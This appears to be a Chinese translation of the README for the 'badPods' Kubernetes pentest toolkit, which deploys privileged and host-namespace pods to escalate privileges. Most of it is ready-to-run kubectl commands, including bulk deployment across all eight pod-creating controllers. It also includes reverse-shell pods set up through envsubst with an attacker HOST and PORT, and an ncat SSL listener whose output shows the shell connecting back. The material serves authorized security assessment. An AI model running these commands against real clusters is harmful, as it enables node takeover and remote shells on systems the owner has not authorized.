这是一组用于创建具有不同提升权限的 Pod 的 manifests。可快速演示允许 hostNetwork、hostPID、hostPath、hostIPC 和 privileged 等安全敏感 Pod 属性所带来的影响。
更多背景信息，请参阅我们的博客文章：Bad Pods: Kubernetes Pod 权限提升。
下方每个链接都提供了详细的使用说明和利用后（post-exploitation）建议。
关于先决条件、仓库组织方式以及常见使用模式的更多信息，请参阅以下章节。
├── manifests
│ ├── everything-allowed
│ │ ├── cronjob
│ │ │ ├── everything-allowed-exec-cronjob.yaml
│ │ │ └── everything-allowed-revshell-cronjob.yaml
│ │ ├── daemonset
│ │ │ ├── everything-allowed-exec-daemonset.yaml
│ │ │ └── everything-allowed-revshell-daemonset.yaml
│ │ ├── deployment
│ │ │ ├── everything-allowed-exec-deployment.yaml
│ │ │ └── everything-allowed-revshell-deployment.yaml
│ │ ├── job
│ │ │ ├── everything-allowed-exec-job.yaml
│ │ │ └── everything-allowed-revshell-job.yaml
│ │ ├── pod
│ │ │ ├── everything-allowed-exec-pod.yaml
│ │ │ └── everything-allowed-revshell-pod.yaml
│ │ ├── replicaset
│ │ │ ├── everything-allowed-exec-replicaset.yaml
│ │ │ └── everything-allowed-revshell-replicaset.yaml
│ │ ├── replicationcontroller
│ │ │ ├── everything-allowed-exec-replicationcontroller.yaml
│ │ │ └── everything-allowed-revshell-replicationcontroller.yaml
│ │ └── statefulset
│ │ ├── everything-allowed-exec-statefulset.yaml
│ │ └── everything-allowed-revshell-statefulset.yaml
│ ├── hostipc
│ │ ├── cronjob
│ │ │ ├── hostipc-exec-cronjob.yaml
│ │ │ └── hostipc-revshell-cronjob.yaml
│ │ ├── daemonset
│ │ │ ├── hostipc-exec-daemonset.yaml
│ │ │ └── hostipc-revshell-daemonset.yaml
...omitted for brevity...
正如 Eviatar Gerzi (@g3rzi) 在文章 Eight Ways to Create a Pod 中指出的那样，共有 8 种不同的控制器可以创建一个 Pod 或一组 Pod。你可能没有创建 Pod 的权限，但也许可以创建另一种能创建一个或多个 Pod 的资源类型。对于每种 badPod 类型，都有对应全部八种资源类型的 manifests。
但别急，情况还可能更糟！除了目前八个可以创建 Pod 的 Kubernetes 控制器之外，还有一些第三方控制器——如果被应用到集群中，它们同样可以创建 Pod。请透过 kubectl api-resources 留意它们。
虽然这种情况很常见，但你并非总能对创建的 Pod 执行 exec。为了应对这些情况，每个 manifest 都附带了一个使用 Rory McCune (@raesene) 的 ncat Docker Hub 镜像的版本。Pod 创建后会向你监听的地址发起加密回调。
manifests 目录中的每个资源都针对一个特定属性或属性组合；当这些属性被允许时，会使集群面临风险。
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
为了避免在每个 pod 中编辑你的主机和端口，你可以使用环境变量和 envsubst 命令。记得先启动所有监听器！
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml
找到创建的 Pod
kubectl get pods | grep cronjob
NAME READY STATUS RESTARTS AGE
hostnetwork-exec-cronjob-1607351160-gm2x4 1/1 Running 0 24s
进入 Pod 执行命令
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml
找到创建的 Pod
kubectl get pods | grep deployment
priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 1/1 Running 0 56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh 1/1 Running 0 56s
进入 Pod 执行命令
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;
cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created
查看所有已创建的 Pod
kubectl get pods
NAME READY STATUS RESTARTS AGE
everything-allowed-exec-daemonset-qbrdb 1/1 Running 0 52s
everything-allowed-exec-deployment-6cd7685786-rp65h 1/1 Running 0 51s
everything-allowed-exec-deployment-6cd7685786-m66bl 1/1 Running 0 51s
everything-allowed-exec-job-fhsbt 1/1 Running 0 50s
everything-allowed-exec-pod 1/1 Running 0 50s
everything-allowed-exec-replicaset-tlp8v 1/1 Running 0 49s
everything-allowed-exec-replicaset-6znbz 1/1 Running 0 49s
everything-allowed-exec-replicationcontroller-z9k8n 1/1 Running 0 48s
everything-allowed-exec-replicationcontroller-m4648 1/1 Running 0 48s
everything-allowed-exec-statefulset-0 1/1 Running 0 47s
everything-allowed-exec-statefulset-1 1/1 Running 0 42s
删除所有 everything-allowed 资源
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;
设置监听器
ncat --ssl -vlp 3116
使用环境变量和 envsubst 从本地 yaml 创建 pod，无需修改该文件
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -
捕获 shell
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116
Connection received on 10.0.0.162 42035
欢迎提交 Pull Request 和 Issue。
感谢 Rory McCune、Duffie Cooley、Brad Geesaman、Tabitha Sable、Ian Coldwater、Mark Manning、Eviatar Gerzi 和 Madhu Akula 公开分享了如此多关于 Kubernetes 攻击性安全的知识。
每个 Bad Pod 都有自己的参考资料与延伸阅读部分，但这里还有一些更通用的资源，可以帮助你提升 Kubernetes 安全评估和渗透测试技能。